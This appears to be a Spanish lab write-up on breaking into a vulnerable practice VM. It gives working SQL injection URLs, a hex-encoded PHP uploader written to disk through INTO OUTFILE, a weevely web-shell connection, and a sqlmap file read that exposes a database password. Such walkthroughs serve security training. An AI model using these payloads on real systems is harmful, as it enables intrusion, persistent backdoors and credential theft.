2. Una vez descargada la imagen virtual me dispongo a correrla con virtual-
box.
3. Realizo un sondeo de ping, para descrubrir el/los host activos en la red
192.168.1.0/24
Una vez descubierta la direccion ip de la maquina virtual 192.168.1.33,
procedo a realizar un analisis de puertos, servicios y del sistema operativo.
4. Mi analisis de intrucion, se centro en la aplicacion web, ademas de indagar
por varios lados, aproveche una vulnerabilidad de sql injection para
inyectar codigo php en el servidor y obtener acceso.
Se encuentra el siguiente parametro vulnerable a sqli
http://192.168.1.33/index.php?id=1
Busco informacion del usuario que corre la db, asi como la version y
nombre de la misma
http://192.168.1.33/index.php?id=1+union+select+1,2,concat(database(),
0x3a, user(), 0x3a, version()),4,5,6,7--
5. Busco informacion sobre los privilegios que posee el usuario
cms_user@localhost usando la herramienta sqlmap, y me encuentro con la
sorpresa de que el usuario corre como administrador, ademas de poseer
potenciales permisos como FILE.
Habiendo obtenido este tipo de
informacion, se me ocurre utilizar la
funcion 'INTO OUTFILE' para inyectar
un upload en la aplicaccion web, pero
primero realizo una exhaustiva
busqueda de directorios en la zona
publica, para probar con varios de
ellos hasta encontrar permisos de
escritura para el usuario cms_user.
finalmente logro escribir dentro de
http://192.168.1.33/phpMyAdmin-3.0.0-
all-languages/config/
6. Logrando inyectar la siguiente sentencia:
192.168.1.33/index.php?id=1+union+select+1,2,3,4,5,6,7+into+outfile+'/var/www/html/phpMyAdmin-3.0.0-all-
languages/config/upload.php'+lines+terminated+by+0x273c3f706870206563686f20273c623e3c62723e3c62723e272
e7068705f756e616d6528292e273c62723e3c2f623e273b206563686f20273c666f726d20616374696f6e3d2222206d657
4686f643d22706f73742220656e63747970653d226d756c7469706172742f666f726d2d6461746122206e616d653d22757
06c6f61646572222069643d2275706c6f61646572223e273b206563686f20273c696e70757420747970653d2266696c652
2206e616d653d2266696c65222073697a653d223530223e3c696e707574206e616d653d225f75706c2220747970653d22
7375626d6974222069643d225f75706c222076616c75653d2255706c6f6164223e3c2f666f726d3e273b2069662820245f
504f53545b275f75706c275d203d3d202255706c6f6164222029207b202069662840636f707928245f46494c45535b2766
696c65275d5b27746d705f6e616d65275d2c20245f46494c45535b2766696c65275d5b276e616d65275d2929207b20656
3686f20273c623e63726564697473203a207777772e646576696c73636166652e696e3c2f623e3c62723e3c62723e273b2
07d2020656c7365207b206563686f20273c623e55706c6f616420537563657373202121213c2f623e3c62723e3c62723e2
73b207d207d203f3e27--
El codigo del upload, fue encodeado en ascii hex para evadir filtros.
7. El resultado es el siguiente, logrando crear el fichero 'upload.php' en el
directorio /var/www/html/phpMyAdmin-3.0.0-all-languages/config/
8. Genero una shell con weevely y la subo al servidor por medio del upload
que acabo de inyectar.
9. Conectamos con ./weevely.py http://192.168.1.33/phpMyAdmin-3.0.0-all-
languages/config/q3rv0.php q3rv0
Ahora ya tengo acceso en el servidor como el usuario apache, solo queda
elevar privilegios.
10. La verdad es que me parecio un servidor bastante abierto en cuanto a
posibilidades de imaginar diversas tecnicas de intrusion, tambien
aprovechando la vulnerabilidad sqli, se podria leer el fichero index.php en
/var/www/html/ para obtener el passwd de la db.
Si miramos bien en el fichero, vemos que el password en texto plano lo
provee el archivo /conf/config.ini el cual es llamado a travez de la variable
$configs, entonces buscamos dicho archivo.
./sqlmap.py -u 192.168.1.33/index.php?id=1 --file-
read=/var/www/html/conf/config.ini
11. Y ahora nos podemos secuestrar el phpmyadmin para subir alguna shell.